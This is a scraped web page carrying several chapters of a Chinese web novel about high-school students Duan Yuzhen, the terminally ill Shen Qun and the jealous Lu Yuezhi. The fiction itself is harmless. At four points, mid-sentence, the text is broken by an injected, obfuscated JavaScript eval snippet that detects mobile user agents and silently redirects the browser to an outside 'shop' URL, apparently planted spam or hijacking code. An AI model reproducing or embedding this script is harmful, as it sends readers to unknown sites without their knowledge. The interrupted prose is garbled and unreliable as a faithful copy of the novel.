外面客厅突然传来开门的声音,段予真惊讶地出去看了眼,正和走进屋子里的中年女人对上视线。 女人面容瘦削,留着利落的发型,穿一身黑色羽绒服,手里拎了个大塑料袋,眉宇间气质略显严肃。 “您好……”在面对与母亲年龄相仿的女性长辈时,段予真天然地会有一点腼腆。 女人看着他,目光从茫然变得了然,神情也温和许多:“你是段予真,对不对?我听沈群说过你。我是他妈。” “高阿姨好。对,我是段予真。”段予真挥挥手重新打了个招呼,看到手里的锅铲,想起灶台上的汤,忙返回到厨房,揭开锅盖看了看里面的状态。 酱色的浓稠汤汁冒着小泡,里面的排骨已经软烂,散发出令人食指大动的扑鼻香气。 段予真觉得似乎,仿佛,大概是可以关火了。 煤气灶令他有点恐惧,想试着把火关掉,又不敢伸手。高蕊适时地走进来,关了火,将沈群提前备好的葱花放了一撮进去,拿过汤勺搅着锅里的肉。 “沈群也真是的,留你一个客人在这看火。”高蕊盛着菜抱怨。 段予真放下手中锅铲,为沈群解释:“他在洗手间呢,我只守了几分钟。” 话刚说完,沈群擦着手上的水珠出现在厨房门口,也是颇为意外:“妈,你怎么突然回来了。” “跟人调了个班。厂里宿舍停水了,我把衣服拿回来洗洗。”高蕊娴熟地忙碌着:“你们俩小孩儿出去歇着吧,我来弄就行。” 沈群走过来帮段予真把围裙解下,笑着对母亲说:“你帮我再做道年糕汤行吗,予真很喜欢。多放青菜。” “好啊。”高蕊手里忙着剥冬笋,又使唤沈群:“把电视打开,让予真看看电视。再把上回大姨送的火腿拿出来。年糕汤加了火腿才鲜呢。” 沈群看出段予真有点不自在,把人带到自己房间,打开电视后又拿了盘橘子给他。 他抬手轻轻刮了下段予真的鼻尖:“你先看,我很快就回来。” 段予真被弄得眯起眼睛,又缓缓睁开,对他点了点头。 沈群找出橱柜里的火腿,来到厨房,知道即将面临母亲的训斥,反手将门带上。 高蕊很用力地剁着肉馅,神色冷然,低着头也不看他,自顾自地说话:“先前我怎么跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16971453|193459||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你说的,你是一点都没听进去。” 沈群低声说:“我就只有予真这么一个朋友。” “路都是你选的,妈难道还不够尊重你的意见?”高蕊放下手里的菜刀,扭头看着沈群平静的脸,语气中满是疲倦: “那时候医生都说还有救,让我们抓紧时间做决定。你坚持不肯截肢,让我尊重你,说你要有尊严地度过最后的日子,能多过一天算一天。一个字不差吧?我记得清清楚楚……你不知道我心里当时有多难受。我问你,你跟予真就只是朋友?没有别的心思吗?” 沈群低头不语。 “阿群,不是妈非要约束你。可你自己也清楚,没剩多少时间了。做人要讲道德,不能这么自私,这么残忍。”高蕊眼眶逐渐湿润: “妈多活了几十年,什么事都扛过去了,想着你现在的情况还剜心一样疼,更何况是你的同龄人。那个予真,一看就是被家里疼着宠着的孩子,他也是他父母的宝贝啊。阿群,你要是真喜欢人家,就不该去招惹。你这样……实在让妈太失望了。” 高蕊哽咽着捂住眼睛。 亲眼看着自己的骨肉至亲一天天接近死亡,对她来说无异于凌迟。可这是沈群自己坚决做下的决定,她无力改变,只能强忍心痛陪着儿子走完最后一段路。 她太清楚这种绝望的感受会有多折磨,也正因如此,她不愿意有人再承受同样的痛苦。 和段予真的亲近,沈群知道她会反对,所以一直都瞒着。还是两个孩子在学校里说笑时被沈群的姑姑注意到了,才在电话里无意间告诉了她。 沈群已经快走到生命终点的事,除了医生和他们母子两人,谁也不知道。沈群周围其他所有人都以为他的腿只是普通的,无伤大雅的残疾。 沈老师和高蕊说起时,是有些欣喜的语气。她觉得侄子能和段予真走近些,学习上可以互相帮助,段予真的活泼性格也可弥补侄子的孤僻,再说两个小孩都挺规矩,互相萌生些青涩的感情其实不算坏事。 却不知道高蕊在电话这头听着,只觉得心都凉了半截。 得知了孩子们已然冒头的情愫之后,她挂了电话便态度严肃地提醒沈群,让他停止不该有的行为。但沈群显然阳奉阴违。 “……我不会让予真知道的。” 沈群苍白无力地辩解:“我会瞒着他悄悄地死。予真身边还有很多朋友,根本不缺我这一个,他肯定会忘了我,继续好好活着。妈,你别说了,我求你别说了。” 沈群不断地擦拭着脸上冰冷的泪水,喉咙里发出恐惧的声音。他的解释其实连他自己都不信。 段予真显然对他装出的那副温良恭谦的样子动了真心,他无比清楚地知道着这个事实。 他的病不是简单的腿疾,而是骨癌,被他自己硬生生地从中期拖到晚期,除了吃药没做任何治疗。到现在已经是彻底没救。 腿一直都在疼,疼得越来越厉害,刚才也是因为疼到忍不住,他才找借口躲进卫生间里,生怕被段予真看出来。 他就快要死了,死之前,还把无辜的段予真也拖向他所处的沼泽。 懦弱终究成为了他这失败一生的注脚。因为懦弱,他不肯接受右腿截肢后艰难痛苦的复健过程,不肯面对肢体残缺的余生,不肯理解母亲用心良苦的劝告,执意地选择放弃了自己的生命。 因为懦弱,他没有克制住私欲,放任本能向段予真靠近。他享受着段予真的温情,却又逃避责任,不敢认真考虑自己带给段予真的伤害会有多严重。 在段予真面前他伪装出一副谦谦君子的风度,实际仍改不掉自私自利的本性。 沈群很清楚,自己就是个不得好死的烂人。 18. 18 有高蕊在,段予真不好意思留宿,吃完饭就叫司机来接自己回家。 天色阴沉昏黑,断断续续地飘着细雪。沈群送他到一直走到路口,手指僵硬冰冷,忽然抬起来摸了摸段予真的眼尾。 段予真看着他,乖乖地站着没动:“怎么了?” “没事。刚才灯光晃了下,还以为你在流眼泪,看错了。”沈群对他微笑。 “我不爱哭,天生眼泪少。”段予真得意地说。 他没撒谎。从诞生在这个糟心的世界上那一刻起直到当下,人生中最弱势,最容易手足无措的小半段时光里,段予真流泪的次数屈指可数。 即使再伤心再难过,泪水已经在眼眶里打转了,他也会咬着牙忍回去。 很小的时候开始,段予真对自己的定位就是保护者。他要去保护弱者,保护小动物,保护他喜欢的温柔的人。 他一直坚定地拥有着这样青涩的理想,天真的愿望。 听着段予真的自夸,沈群也稍微安心了些:“那就好。” “今天的年糕汤果然很好吃。”段予真说:“高阿姨厨艺太好了。” 沈群还没说什么,段予真又话头一转:“当然,你烧的菜也不赖。” “那以后你要经常来我这里做客,最好天天来。每顿饭我都做给你吃。”沈群爱怜地捧起他的脸。 干冷的天气让段予真的唇色更显苍白,因为室内室外的温差,脸颊被冻得有点泛红。轻颤的睫羽上沾着半融化的雪花,晶莹梦幻,如同刻意妆点的粉彩。 沈群喉结滚动,看着这样的段予真,他想,换作世界上任何一个人都会心动。 他解下自己的围巾,仔细给段予真系好:“到家记得跟我说一声。” 段予真下半张脸被埋在围巾里,眼中笑意仍然藏不住,满溢得快要漾出来,大大方方地对沈群撒娇:“沈学长,你什么时候也变得这么啰嗦了呢?” 沈群笑着俯身又和段予真碰了碰额头,目送他上车离开。 今天在厨房里,母亲对他说的那些话既是警告也是哀求。高蕊道德感很重,对人对己都是如此,规矩地活过了大半辈子。 沈群知道自己如果再继续错下去,对不起段予真,也对不起母亲。但他不甘心就这样到此为止。 他希望等他离开之后,段予真仍然过得幸福、快乐,同时又矛盾而扭曲地,想要在段予真生命里留下更深刻长久的痕迹。 沈群看着轿车消失在街道尽头,仍然定定地在雪中站着,没有回头往家里走。 在沈群沉思的时候,一个拎着饭盒的高大身影出现在了行道树旁,低着头走得很慢。 陆岳之的父亲这两天因为高血压在住院,他去医院送饭,刚回来。 沈群站在路灯下望着陆岳之。他想到了很多东西。在学校里,老师有时会把他的名字和陆岳之一同提起,说他们很像。体型,性格,家境,甚至面对考试时的心态,擅长的科目。 之前沈群对于老师随口的对比,只感到厌烦。追求独特可以说是人的天性,没有谁喜欢时不时地听到“你和你附近某个人很像”这种话。 他对陆岳之一直都瞧不上。这样的人,和还没检查出癌症时的他一样,都是自小被优绩主义的氛围熏陶,再从标准好学生的模板里刻出来的,毫无个人特征。就连傲慢、自负的性格缺陷也是泛滥到平平无奇,放进人群里立刻会被淹没。 但是现在他突然又觉得,像,也挺好的。 沈群阴暗地想,他和陆岳之最不像的一点,可能就是他快死了,而陆岳之非常健康强壮。 这让他怎么能不妒忌。 沈群知道陆岳之对段予真保持着隐秘的关注,这种关注甚至极有可能发生得比自己更早。 开学那天他和段予真初遇时,陆岳之就站在对面的走廊里盯着段予真看。 陆岳之当时的复杂眼神,他现在太明白了。那是本能地喜欢上了一个人,但是又不服气不甘心,从而引发的焦躁和迷茫。 让他不甘心的是生命所剩无几,让陆岳之不服气的却不知又是什么。 沈群不在意这些无关紧要的细节,他做着对未来的打算陷入了偏执。 既然他已经没办法亲眼看着段予真幸福地生活,那么他要以另一种方式,阴魂不散地陪在段予真身边。 “陆岳之同学。”沈群开口叫住了从自己面前走过的陆岳之。 陆岳之像是没听到,继续往前走。沈群加重语气又喊了一遍,他才停下。 陆岳之转过身,表情漠然。 沈群开门见山地问:“你喜欢段予真对吗。” 陆岳之瞳孔猛地一缩,嘴上立刻否认:“怎么可能。” “如果你喜欢予真,想要追他。”沈群看着他慌张的反应,压在心头的悲哀越来越沉重,“我可以帮你。” 陆岳之沉默了一会儿,看向沈群的眼神变成明显的厌恶。他冷冷地质问:“你以为你是谁,你把段予真当成什么?” “我是他喜欢的人。”沈群每说一个字,心口都传来撕裂般的剧痛:“我病了,配不上予真,但我希望他幸福。陆岳之,我想让你代替我,给予真带去幸福。” “疯子。”陆岳之以为他精神失常,扭头毫不犹豫地大步离开了。 沈群还在他身后固执地继续说着:“你改变主意的时候可以去班里找我。我等着。” * 期中考试的排名公布了,照旧贴在走廊的公告栏里,供学生们观看对比。 清早,陆岳之背着书包目不斜视地走向教室,身边环绕着他早已听习惯了的窃窃私语。 每次大考之后,这种氛围都会短暂地存在一两天。无非就是对尖子生们好成绩的艳羡,以及对于自己错题,粗心的懊恼。 从进入西屏开始,每次大考小考,只要公布排名,陆岳之的名字都是保持在最上游。他根本不屑于去公告栏那里看。 不是第一就是第二,反正肯定是远远甩了段予真一大截。 陆岳之走进教室,来到自己的座位前,打开书包拿出作业和课本。 段予真也已经到了。此时他一条手臂搭在课桌上,身体也懒散地斜靠桌沿,手里悠闲地拋着一块橡皮,正扭头和后桌的邓春灵聊天。 邓春灵不知道刚才听他说了些什么,双目发亮,很赞同地一个劲点着头。 段予真悠闲得实在是让人生气。陆岳之很好奇,成绩都出来了,难道小少爷还迟钝地没反应过来,自己马上就要接受惩罚了吗? 他停住拿出课本的动作,转身俯视段予真,嘴角勾起一点不易察觉的讽刺笑意:“外面的排名你看了吗。” “当然看了。”段予真仰头和他对视,凤眼中情意泛滥,笑容也是十分甜蜜:“早上好啊,第二名。” 陆岳之嗤了声,酝酿好的一句“我是第二你又是第几”还没说出口,便看着邓春灵激动地拍了下桌子,语气骄傲: “陆岳之,你猜这次的年级第一是谁?是段予真哟!数学,理综三科全部第一,总 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16971454|193459||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成绩年级排名第一!怎么样,厉不厉害?” 高一的一整年相处下来,她和班里不少人早就对陆岳之有点看不顺眼了。成绩好是很了不起,可整天臭着张脸拽得二五八万,恨不得要拿鼻孔看人,跟谁得罪他了似的,这样的人谁会喜欢? 现在好了,终于有人用实力狠狠打压了陆岳之的气焰,而且,还是凭着陆岳之自诩最擅长的理科成绩。这怎能不让她感到神清气爽,简直是长出了一口恶气! 邓春灵话音落地的一瞬间,陆岳之的面部表情控制不住地扭曲了下,肌肉都在轻微抽搐着。他用尽了全力,才克制住自己狼狈的反应。 质疑的情绪如潮水般席卷而来,陆岳之甚至差点就要抬脚走到外面,亲眼去确认段予真的成绩和名次,最后还是努力地忍住了。 他将目光转回到段予真脸上,而段予真还是那副优哉游哉的模样,忙着用自动铅笔在橡皮上戳小洞,直到戳出一个笑脸。 段予真将那块橡皮举到陆岳之面前,眼角眉梢都扬着笑意: “大木头,你输给我了。” “……嗯。”陆岳之自己都不知道声音是怎么从喉咙里发出来的,眼前一阵恍惚。他开始怀疑自己还没睡醒,或者是劳累过度,产生了幻觉。 段予真并没有提当时两个人定下的惩罚。宣布完自己的胜利,他就和邓春灵继续聊起了宠物话题。 陆岳之默不作声地坐下,翻开课本,看着上面的文字,脑子里雾蒙蒙的什么都看不清。 他此前的人生中从未经历过这样的震憾。这是颠覆性的一天。要不是因为定力够强,陆岳之多年来用一场场考试积累下的信心,都会被瞬间摧毁。 一个在他眼里不学无术,信口开河的小少爷,用他最自信的理科成绩,把他给打败了。 他不仅输了,还输得一败涂地。 下了自习后,段予真走出教室准备去买瓶水。走到便利店附近的假山旁边时,他就发现陆岳之在身后不远处跟着自己,以为是碰巧,径直进入便利店,从冰箱里拿了瓶纯净水。 陆岳之僵硬的声音从他身侧很近的位置落下来:“非要买这种吗,一块一瓶的你喝不得?” 段予真抬头看着他,莫名其妙:“我买水碍着你了?” 陆岳之不吭声,从他手里把那瓶售价十三块的纯净水拿走,到收银台去结账。段予真更困惑了:“你要喝水,自己从冰箱里拿啊,抢我手里的是什么意思。” 结完账,陆岳之把水又递还到段予真面前。 段予真没接。陆岳之摆出个不耐烦的脸色:“拿着啊。你不是要喝水么。” “我没钱吗?用得着你替我买。”段予真说:“陆岳之你是不是脑子里突然搭错筋了。” “……打赌我输了,所以从今天开始我要给你当跟班。随叫随到,有求必应。”陆岳之额角青筋直跳:“需要我提醒你吗?” 段予真看他的眼神还是充满了不理解。 噗,什么跟班啊…… 一个严烈都够烦的了,再来个动不动板着臭脸的木头脑袋,跟在他身边走来走去,想想都难受。 那赌注只不过当时随口一说而已,都过去这么长时间了,没想到陆岳之还在较劲。 “用不着。”段予真摆摆手:“你爱干嘛干嘛去,别跟着我了。” 陆岳之表情紧绷:“我愿赌服输。” 段予真觉得他和这块木头真是语言不通,深吸一口气,伸手摸了摸肝脏的位置,苦笑着安抚自己的情绪。 19. 19 上午连着两节都是数学课,陆岳之心浮气躁,无意识地转着笔,一直在走神。 这次期中考试的难度比他预想中稍高一些,不少平时保持在高水平线上的学生都发挥失常,整个年级里只有不到十人拿到130+的分数,而段予真是唯一的满分。 果真是做到了一题不错。试卷直接被老师拿去当标准答案进行讲解,两节课把整张试卷讲下来,都数不清见缝插针地夸了段予真多少次。 陆岳之攥紧手中的签字笔,想到自己之前给段予真补习时那自以为是、高高在上的样子,现在看来是多么滑稽。 很显然,以段予真真实的理科水平,根本就用不着他在旁辅导。 段予真找他当补习老师,恐怕只是因为那天听到他说起自己的家庭情况心生同情,所以才找到了这么个由头,让他能心安理得地接受金钱帮助。 本质上和施舍路边的乞丐又有什么区别?只不过委婉了些,还顾及着他的自尊心。 如果不是因为一再被他轻视,段予真大概也不会选择挑明自己真正的实力,而是继续跟他装下去,每周两天,每天四小时,把八百块钱白白浪费在他身上。 好可笑啊。 陆岳之讽刺地想,在段予真眼里,可能自己跟他捡回家的那条脏狗才是同类吧。 每次听着他讲课的时候,段予真看着他,是把他当成了一个供自己取乐消遣的小丑吧。 公主殿下还真是善良。慈悲心肠,普渡众生。 但他需要吗?他有说过需要被谁可怜,被谁同情吗?段予真自说自话地怜悯他之前,有问过他的意见吗? 陆岳之从来没对谁产生过这么复杂浓烈的感情。他本能地渴望着靠近那团温暖的光芒,却又一次次地被光刺痛。 浑浑噩噩地熬过了两节课,刺耳的下课铃声让陆岳之惊醒。 数学老师脸上挂着难得的笑容,拿着试卷从讲台走下来,从他座位边经过,停在段予真身边:“予真啊,你跟我到办公室一趟。” 陆岳之心里突跳了下。 他猜得到老师要说什么。段予真这次大考的表现太让人满意了,换作他是数学老师,也会将注意力更多地放在这样出类拔萃的学生身上。 昨天他去办公室里交作业的时候,数学老师已经跟他说过,明年三月份,要在省会举办一个新的高中生数学竞赛,西屏分到了两个名额,老师们准备推荐他和年级里另一个优秀学生。竞赛前三名能拿到很优厚的奖金,不管是对家庭还是对他个人,都很有帮助。 数学老师还隐晦地表示过担心,让他在寒假多接触一些竞赛题型,做好更全面的准备。因为陆岳之最大的优势就是心态稳,而且非常刻苦,愿意大量地刷题,啃难题,但他的解题思路比较偏向于应试,不够灵活,面对竞赛中各类创新题型时,就难免会有点吃力了。 陆岳之看到段予真跟着老师离开教室,随手抽了本作业,也静悄悄跟了过去。 办公室的门虚掩着,陆岳之从门缝里看到段予真站在工位旁,神情专注地听数学老师说话。 “……全市也没几个满分!所以啊,真是让我非常的惊喜。”数学老师说着,停下来喝了口茶,又笑着问:“予真你平时在家都练哪些题?是请了家教吗?” “没有。”段予真说:“之前功课都是我舅舅在教我,回国后就是自学了。他偶尔会给我推荐几本书,让我自己刷刷题。每天写题加上查漏补缺会花费两个小时左右,就这些了。” “嗯,很不错的习惯!”数学老师语气中满是赞赏:“前面几次考试我就觉得你功底很好,还纳闷这么聪明的学生,怎么老是犯一些小错误。” 段予真笑了笑,没有解释。 “你在a国有没有接触过数学类的竞赛?”数学老师不再绕弯子,从抽屉里拿出了竞赛的宣传单,推到段予真面前:“看看这个。” “练过一些竞赛题,舅舅说我挺有天赋。”段予真拿起那张薄薄的纸,快速扫了一遍,目光在奖金那行停滞几秒,说:“不过我没兴趣参加。” 数学老师噎了下:“怎么会没兴趣,你不喜欢数学吗?” 段予真将宣传单放回她面前,思索片刻:“嗯……挺优美,但是没太多特别的感觉。” “那你对什么科目比较有感觉。”数学老师哭笑不得,又端起了茶杯。 “体育吧。”段予真看了眼墙上的挂钟:“不多说了耿老师,下节体育课,我还要去打球呢,晚了就没位置了。” 段予真和数学老师告别,拉开门走出办公室。陆岳之飞快转过身,背对他站在走廊里,望着远处的天空。 “大木头原来也会看风景。”段予真从他身后走过。 陆岳之转回来,板着脸说:“来找耿老师问道题。你们说完了吗?” “没说完我出来干嘛。”段予真瞥着他手里的作业本,笑了:“你找数学老师问英语题?” 作业本顿时被攥得发皱。陆岳之不再装了,和段予真一起走在回教室的路上。 他问:“你为什么不去参加竞赛。” 以段予真这次考试表现出的水平,如果去了,一定会拿到比他更好的名次。 “你想听我怎么回答?”段予真说:“有两个原因,一真一假,你可以自己选一个来相信。一,我不缺那点奖金,所以想把机会留给更需要的人,比如你。二,我要忙的事已经有一大堆了,没空把时间浪费在无聊的竞赛上。” 陆岳之哑然。 阳光透过走廊边的香樟树,投下跳跃的细碎光斑,时不时地晃着眼睛。 段予真被晃得忍不住眯了下眼,鼻梁微皱,漂亮的五官忽然间显露出一种慵懒的帅气,眼底淡淡笑意也只让人觉得他冰冷而遥远,有着高不可攀的距离感。 陆岳之看得呆住,回过神才发现自己竟不自觉地屏息静气,就像小时候在乡下,第一次跟着长辈去拜神仙,站在那尊眉眼疏离的彩绘塑像前的感受。 万籁俱寂。 他忽然转头四下望了望,走廊里很空荡。除了他和段予真,再没有别人了。 也就是说,段予真刚才的神态,只有他一个人看到,只会留存在他一个人的记忆里。陆岳之有些慌张,面对这突如其来的稀世藏品,不知道该怎么对待才算妥当。 段予真全然不知他的苦恼,很快地走在前面,已经把他远远甩开。 望着那道背影,陆岳之忍不住伸出手,试图握住些什么,终究却还是将手掌颤抖着收回。 铃声响起。学生们迅速在体育老师面前集合成队,远处打球的男生也赶紧抱着篮球气喘吁吁地跑过来。 陆岳之一眼扫过去,并没有看到段予真的身影。 体育委员已经在向老师汇报人数:“应到三十五人,实到三十四人。段予真身体不舒服在教室休息,报告完毕。” 照常是用了十分钟时间跑操热身,接着体育老师随便点了几个班干部的名字,让他们去器材室拿些海绵垫过来,监督大家练习坐位体前屈,为期末体测做准备。 陆岳之作为数学课代表,也成了被使唤的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16971455|193459||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一员。 他沉默地走在最后,听前面的同学叽叽喳喳说着班里的趣事,觉得这群人无聊透顶。 器材室在综合楼一层,旁边是挂着厚重丝绒窗帘的音乐教室。这里是校园内比较偏僻的一角,除了上音乐课和拿取体育器材以外,基本不会有人靠近,连空气仿佛都比别处更寂静些。 前面放肆嬉笑的几人突然不约而同地安静了,面面相觑足有半分多钟,体育委员才轻声问:“你们有没有听到弹钢琴的声音?” “……估计是音乐老师吧?都小声点,老巫婆那么凶,别跑出来找我们的麻烦。”历史课代表提醒。 气氛变得有些紧张,几人慢慢经过音乐教室,朝器材室走去。 随着他们脚步接近,活泼的乐声越来越清晰,一串串音符流畅而富有弹性,雀跃地从教室内源源不断地飘出,轻盈、悦耳,令人不由自主地驻足聆听。 这不像是音乐老师平常会弹的那类曲子。 体育委员悄悄地探出头,朝半掩的窗帘后面望了眼,随即又惊又喜地松了口气——坐在钢琴前专心弹奏的人不是音乐老师,而是借口身体不舒服,跟他请了病假的段予真。 他张嘴就想打招呼,可又不忍心扰乱对方指下的琴声,最终也没有发出声音,趴在窗边继续惊奇地听着。 不知不觉,几个班干部都挤了过来,凑到窗口朝教室里偷看。 段予真端坐在钢琴前,侧身背对他们,神情专注,视线长久地落在指尖的黑白琴键上,偶尔又长睫轻抬,看向对面的阴影处,唇角噙了一抹温暖的浅笑。 明亮日光涌入室内,被玻璃过滤成了朦胧的金色,柔和地顺着段予真的头顶滑落到白皙颈间,再一路铺向肩背、身下的琴凳,直至地面。 那光芒是带着偏爱的,它细碎地闪烁着,轻吻段予真的眉眼,鼻尖,又笼罩住段予真的身体,温柔地将他拥入怀中。 它落在段予真脚下,像是婚礼上新娘身后拖尾的头纱。美丽而圣洁。 “我听过我听过,这是《小狗圆舞曲》哎。”文艺委员有点激动:“弹得好好听……” 陆岳之个子高,不用靠太近,也能越过这几个人的脑袋把教室里的场景看得清清楚楚。但他还是往前走了一步,仔细凝视着段予真的神情。 那是明媚的,真实的,触手可及的,却又非常飘渺,像是和他隔了一整个世界。 弹奏结束,段予真坐在琴凳上,仍没有发现走廊里盯着自己的几双眼睛。他朝角落里发出得意的询问:“我弹得怎么样?” “很可爱的曲子。”沈群的声音逐渐靠近,他从座位里起身,来到钢琴边,揉了揉段予真的头发:“予真也很可爱,所以让它变成了双倍的可爱。” “才双倍啊。”段予真失望地胡乱敲了几个琴键。 “十倍,一百倍。”沈群连忙改口:“是我说错了。其实有一千倍一万倍可爱。” 段予真还是鼓着脸颊:“你这是找补,心里根本就不是这么想的。” “那我是怎么想的?”沈群在他身边坐下,盯着他笑。 段予真扭过头:“你肯定想,这个段予真也太麻烦了,怎么哄都不行,真是个娇气包。反正我舅舅就这么说过我。随便你吧,我才不会改正呢。” “唉。小真……”沈群看着段予真的侧脸,情不自禁地向他凑近。 眼看那两颗脑袋就要挨到一起,陆岳之眉头紧皱,挤开前面看得津津有味的几个家伙,猛地拉开窗户,冲教室里大喊了声: “段予真!” 20. 20 陆岳之的喊声把所有人都吓了一跳,随即身边的班干部们朝他投来责怪的目光。 教室里,段予真也转头看了过来,泰然自若地对他们微笑:“怎么,找我有事吗?” 陆岳之刚才是怕段予真和沈群在众目睽睽中亲到一起,情急之下才喊了他的名字,此时被他看着,大脑空白,干巴巴地质问:“你为什么不去上体育课。” “身体不舒服。我跟体委请过假了啊。”段予真叹了口气:“这你也要管?” “你看起来可不像不舒服的样子。”陆岳之冷笑:“以后再有什么日程变动,麻烦段少爷提前告诉我一声。” 他这句话剩下的人都听得稀里糊涂,只有段予真明白,这家伙还在坚持履行给自己当跟班的赌约。 事实一次次证明,陆岳之是个不开窍的木头脑袋,是潜伏在正常人类里的地外生命。段予真已经放弃和他沟通,敷衍地点了点头:“行。” “你们俩躲在这练琴啊。”体育委员把陆岳之拉开,笑嘻嘻地对段予真说:“予真,既然你会弹钢琴,那咱们班以后文艺晚会的节目可要拜托你多出点力了。” 段予真答应得爽快:“没问题啊。” 陆岳之黑着脸,和同学一起到器材室拿了海绵垫,再回到操场上。 体育委员实在是担忧陆岳之的交际能力,回操场的路上,走在他旁边低声提醒:“大哥,你说说你,刚才喊那一嗓子干嘛?本来没什么,让你一喊,显得我们像躲在那偷窥似的。” “段予真并没有身体不舒服,你为什么要给他批假。”陆岳之竟反过来教育他。 “老子愿意。”体育委员对他的老实嗤之以鼻:“我又不是头一回给人批假了。这是我权力范围内的事,能偶尔造福一下同学们难道不好吗?老师都没说什么。” 陆岳之脸上露出了个嘲讽的笑容。 体育委员没跟他计较,用力拍了拍他的肩:“现在都是人情社会,光知道守规矩是得不到好处的。你懂个啥啊,慢慢学吧。” 摆好海绵垫,老师开始安排学生一对一进行练习。陆岳之站在队伍最后等待着,脑中充满了混沌。眼前的一切都变成了模糊的彩色线条,他突然有种解离感,他想离开脚下踩着的这片土地,去往一个真实的所在。 他好像灵魂出窍,飘向了校园的僻静一角。他坐在音乐教室的角落里,静静地望向不远处弹奏钢琴的段予真,欣赏着对方身上温柔流动的光痕。 他好像看到是自己起身走近,坐在琴凳另一端,手臂揽在段予真腰间,低头缓缓贴向了那梦寐以求的柔软唇瓣。 段予真睫羽上闪烁的光点,面颊清透皮肤下隐约的细小血管,发丝间被薄汗微微洇开,有一点湿润的柚子香气……这一切近在他眼前,伸出手就能触碰。 “陆岳之,你和……”体育老师点到了他的名字。 被叫醒的瞬间陆岳之心中一空,被迫从美梦中抽离,却还是恍惚着久久回不过神。 * 雪一场接一场地下着,离圣诞节只剩下两三天了。学校里并没有严令禁止学生们庆祝节日,于是每个班级的窗户上多少都贴着些颇有圣诞氛围的窗花,或是在课桌摆上圣诞树、麋鹿这类立体贺卡。附近的几家商店也都开始上架被精致包装过的苹果。 段予真在a国过圣诞早就过腻味了,每年到这时候,无非就是跟徐亦霆随便选个地方飞过去度假。他不喜欢挤在人堆里庆祝,嫌弃太吵,大多数时间都窝在酒店房间,捧着棉花糖热可可,翻来覆去看那些经典的圣诞影片。 没有假期,要继续呆在学校上课的圣诞对他来说是头一回,反而感觉很新鲜。 圣诞前一天,早晨段予真刚到教室坐下,就发现桌屉里塞满了苹果。 他将苹果一个接一个地拿出来,最后连课桌桌面都堆不下了,只能先往朱钰那边放。 段予真对这国内特有的圣诞习俗早有耳闻,但完全没想到大家会这么热情,一边继续从桌屉里源源不断地摸出苹果,一边眉头打结地无奈着。 “AAA苹果批发小段。”朱钰调侃他。 段予真也失笑:“早知道这样,今天该带个篮子过来。” “好壮观啊。”邓春灵也来了,一进教室就看到段予真课桌上堆成山的苹果:“你是从哪进了货特意拿到学校来卖吗?买苹果附赠香吻?不愧是学霸,这么有商业头脑?!” 朱钰说:“这都是我们真真收到的平安夜礼物哟。我刚才来的那会儿,还有人溜进来偷偷往他课桌里放,看着像是高一的学弟学妹。” 收到的苹果实在太多了。段予真给班里班外的熟人都分了分,剩下的又匀给两个女孩子,自己只留了颗最漂亮的当作纪念。 然而,暗中向他赠送苹果的行动还远远没有结束。只要下了课,段予真离开教室一小会儿再回到座位上,桌屉里就会灵异地又多出一到两个苹果。他有点儿崩溃,问了朱钰和邓春灵,但女孩们答应了送苹果的人绝不泄密,只是抿着嘴唇憋笑。 做完课间操回到教室,段予真都不用看,伸手一摸,又摸到好几个苹果。 他抬眼看到陆岳之宽阔的后背,忽然有了个主意,用笔盖轻轻戳了下陆岳之的肩膀。 陆岳之扭头看过来。 “大木头,你喜欢吃苹果吗。”段予真问。 “还行。”陆岳之说。 实际上他也没得挑,都是家里有什么就吃什么。平常以及过年的时候,父母买得最多的就是苹果了,吃了十几年,也还没吃腻。 “太好了。”段予真把自己课桌里的苹果拿出来给他:“这些送你。” 陆岳之手指上搭着的铅笔“啪嗒”一声掉了下去。他盯着那些苹果。虽然他从不参与互相赠送苹果的无聊行为,但如果他了解得没有错的话,在两个同龄人之间,这种行为,和交换校服有着类似的含义。 不说暧昧,至少也是有些好感。 ……所以段予真究竟是知道,还是不知道? “你快拿走呀。”段予真催促他。 陆岳之把那几个苹果转移到自己的桌屉里,听到段予真又说:“今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 